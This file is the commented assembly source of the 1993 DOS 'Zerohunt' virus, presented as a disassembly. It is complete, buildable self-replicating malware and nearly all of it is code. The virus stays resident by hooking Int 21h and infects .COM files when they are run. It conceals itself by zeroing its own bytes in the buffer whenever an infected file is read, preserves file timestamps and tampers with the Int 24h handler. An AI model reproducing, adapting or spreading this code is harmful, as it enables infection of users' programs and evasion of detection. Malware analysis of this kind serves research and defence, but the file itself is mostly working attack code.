2022-08-21 09:07:57 +00:00
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CSEG SEGMENT
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ASSUME CS:CSEG, ES:CSEG, SS:CSEG
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org 100h
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; Zerohunt virus
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; Disassembly by PRiEST
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; 4-15-93
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CMC_JMP equ 0e9f5h ;This is the virus's signature
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;which is located at the beginning
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;of infected files, it consist of
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;a CMC and a JMP
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Mem_Loc equ 21ch ;offset of virus in memory
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Zero_Size equ offset Zero_End-offset Zero_Start ;Size of virus
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Zero_File_Size equ offset Zero_File_End-offset Zero_Start ;Size of virus in
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;file
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IVT_21 equ 21h*4h ;offset of Int 21h in IVT
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IVT_24 equ 24h*4h ;offset of Int 24h in IVT
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Mem_Size equ 413h ;offset of Memory size in BIOS area
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Zerohunt: jmp Zero_Start ;Dummy code
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nop
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org 21ch ;set new origin
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Zero_Start: call $+3 ;Push IP
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pop si ;pop IP into SI
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mov es,ax ;ES = segemnt zero
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mov di,Mem_Loc ;Offset of memory resident code
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cmp byte ptr es:[di],0e8h ;This instructions checks to see
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;if the virus is already in memory
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;by looking for the call at
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;Zero_Start in the IVT
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je Jump_File ;return control to file if in memory
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mov cx,Zero_Size ;size of virus
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sub si,3h ;Find offset of Zero_Start
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rep movsb ;copy us to IVT
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push es
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pop ds ;DS = 0
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mov bx,IVT_21 ;offset of Interrupt 21 in the IVT
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les si,ds:[bx] ;Get seg:off of Int 21h
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mov word ptr ds:[bx],offset Zero_21 ;Point Int 21h to us
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mov word ptr ds:[bx+2h],ax ;point Int 21h to segment 0
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mov word ptr ds:[Old_21+2h],es ;Save Int 21h
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mov word ptr ds:[Old_21],si ;Save Int 21h
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mov al,40h ;40h k
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mov bx,ds:[Mem_Size] ;Get amount of memory in k's
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sub bx,ax ;subtract 40h to get segment of mem
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mul bx ;find address of free memory
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mov word ptr ds:[High_Mem],ax ;Save segment address
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xor ax,ax ;Zero out AX
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Jump_File: push cs
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push cs
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pop ds ;Restore DS and ES
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pop es
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;Self-modifying code that restores the first 4 bytes of an infected .com
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;file. The Jump_Data defines where to jump when the virus is done, this
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;is because it only infects files that have a JMP (0e9h) as the first
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;instruction, any other file gets ignored.
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db 0c7h,6,0,1 ;mov word ptr ds:[100h],
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File_Data dw 20cdh ;quit to DOS
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db 0c7h,6,2,1 ;mov word ptr ds:[102h],
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File_Data_2 dw 9090h ;NOPs
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db 0e9h ;Jump
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;This is where the infected program originally jumped to, right now it's
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;set back to the beginning so that it will terminate to DOS.
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Jump_Data dw 0-(offset Jump_Data_End-offset Zero_Start)
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Jump_Data_End: ;used to find offset of Zero_Start
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Random_Read: pushf ;Keep stack in order when IRET
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push cs ;return to this segment
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call Jump_21 ;Call DOS to read file
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pushf
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push ax
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push es
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push bx
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push ds ;save registers
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mov ah,2fh ;Get address of DTA into ES:BX
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int 21h
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push es
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pop ds ;DTA segment in DS
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cmp word ptr ds:[bx],CMC_JMP ;Is this file infected?
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jne Skip_Block_Clean
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call Stealth ;Hide virus
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Skip_Block_Clean:pop ds
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pop bx
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pop es
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pop ax ;Pop registers
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jmp Fix_Flags_Ret ;Fix flags and return
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Handle_Read: pushf ;Keep stack right
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push cs ;return to this segment
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call Jump_21
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pushf ;Save flags
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jb Fix_Flags_Ret
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xchg dx,bx ;Address of data read into BX
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cmp word ptr ds:[bx],CMC_JMP ;File infected?
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jne Fix_Flags_DX
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cmp word ptr ds:[bx+2h],ax ;is it valid (? I guess)
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jnb Fix_Flags_DX
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call Stealth ;Hide virus
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Fix_Flags_DX: xchg dx,bx ;restore registers
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Fix_Flags_Ret: popf ;POP flags
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push bp
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push ax ;Save registers
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pushf
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pop ax ;tranfer flags to ax
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mov bp,sp ;get stack frame
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mov ss:[bp+8h],ax ;Save flags directly into stack
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pop ax
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pop bp ;POP registers
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iret
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Stealth: push si ;Save register
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mov si,bx ;Where code was read to
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add si,ds:[bx+2h] ;Where virus is in program
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push word ptr ds:[si+File_Data-Zero_Start] ;original bytes
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pop word ptr ds:[bx] ;restore them
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push word ptr ds:[si+File_Data_2-Zero_Start] ;original bytes
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pop word ptr ds:[bx+2h] ;restore them too
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add si,4h ;fix for jump
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push ax
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push cx ;save registers
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mov cx,Zero_Size ;Size of virus
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xor al,al ;Zero out AL
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Stealth_Loop: mov byte ptr ds:[si],al ;Remove virus from file
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inc si
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loop Stealth_Loop
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pop cx
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pop ax
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pop si ;Pop registers
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retn
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Zero_21: cmp ah,21h ;Random read?
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je Random_Read
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cmp ah,27h ;Random Block read?
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je Random_Read
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cmp ah,3fh ;Handle read?
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je Handle_Read
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cmp ax,4b00h ;Execute program?
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je Infect
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jmp Jump_21 ;Jump to original Int 21h
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Infect: push es ;save registers
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push ax
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push bx
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push dx
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push ds
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mov ax,3d02h ;open file for writing
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int 21h
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xchg ax,bx ;handle into BX
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mov ah,3fh ;read from file
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xor cx,cx ;Zero CX
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mov ds,cx ;zero into DS
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inc cx ;read one byte
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mov dx,offset Buffer ;read to variable "buffer"
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mov si,dx ;same into SI
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pushf ;Keep stack straight after IRET
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push cs ;Push CS for Far return
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call Jump_21 ;Call original Interrupt 21
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cmp byte ptr ds:[si],0e9h ;Is the first instruction a jump?
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je File_Has_Jump
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jmp Close_File ;File is not valid, close and quit
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File_Has_Jump: mov ax,4200h ;Set position from start of file
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dec cx ;CX now equals 0
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xor dx,dx ;DX also equals 0
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int 21h ;set file position to start of file
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pop ds
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pop dx ;POP location of file name
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push dx
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push ds ;PUSH them back
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push bx ;Save file handle number
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push cs
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pop es ;Set ES to our CS
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mov bx,offset High_Mem ;offset of variable High_Mem
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mov ax,4b03h ;Load file
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int 21h
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mov ds,es:[bx] ;Get address of High memory
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mov cx,Zero_File_Size ;size of virus in File
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mov dx,cx ;same into DX
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mov bx,ds:[1h] ;Get jump address
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mov bp,bx ;I don't recall BP being saved!!!
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xor al,al ;zero out AL
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Search_Loop: dec bx ;decrement pointer
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pop di ;Pop handle
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je Close_File_DI
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push di ;Save handle again
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cmp byte ptr ds:[bx],al ;search for zeros
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je Search_Looper
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mov cx,dx ;reset counter
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Search_Looper: loop Search_Loop ;Scan for size of virus
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mov di,bp ;Get jump address of file
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sub di,bx ;minus location of zeros
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sub di,offset Jump_Data_End-offset Zero_Start ;Make jump
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mov word ptr cs:[Jump_Data],di ;Save original jump address
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push word ptr ds:[0] ;save original bytes
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pop word ptr cs:[File_Data] ;Into our own code
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push word ptr ds:[2h] ;again with bytes 3 and 4
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pop word ptr cs:[File_Data_2]
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mov si,Mem_Loc ;location of virus in memory
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mov cx,dx ;Size of virus in file
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dec cx ;Size of virus
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push ds
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pop es ;ES = segment of free memory
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push cs
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pop ds ;DS = our segment
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mov di,bx ;offset of free space in file
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rep movsb ;copy virus into file (I gather)
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sub bx,4h ;subtract for jump to virus
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mov word ptr es:[2h],bx ;Fix jump
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mov word ptr es:[0],CMC_JMP ;CMC, then JMP
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mov di,0cfcfh
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lds si,ds:[IVT_24] ;fetch address of Int 24h
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xchg di,ds:[si] ;what the hey!? Computer should
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;crash if Int 24h is triggered!
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pop bx ;POP handle number
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mov ax,5700h ;Get date
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int 21h
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push cx
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push dx ;save original date/time of file
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push es
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pop ds ;DS = segment of free memory
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mov ah,40h
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mov cx,bp ;size of virus
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xor dx,dx
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int 21h ;write to file, I guess the virus
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pop dx
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pop cx ;POP the date/time
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mov ax,5701h ;restore date/time to file
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int 21h
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xchg di,bx ;dummy exchange if infection ok
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Close_File_DI: xchg di,bx ;retore handle from DI for closing
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Close_File: mov ah,3eh ;close file
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int 21h
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lds si,cs:[IVT_24] ;Get Int 24h address from IVT
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cmp byte ptr ds:[si],0cfh ;Is it to us?
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jne No_24_Restore ;I know, they're Shitty labels
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xchg di,ds:[si] ;restore Int 24h
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No_24_Restore: pop ds
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pop dx
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pop bx
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pop ax
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pop es ;Pop all registers
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Jump_21: db 0eah ;jmp seg:off
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Old_21 dd ? ;segment offset of Int 21h
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Buffer db ?
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Zero_End:
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High_Mem dw ? ;Segment of availible memory
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Zero_File_End:
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CSEG ENDS
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END Zerohunt
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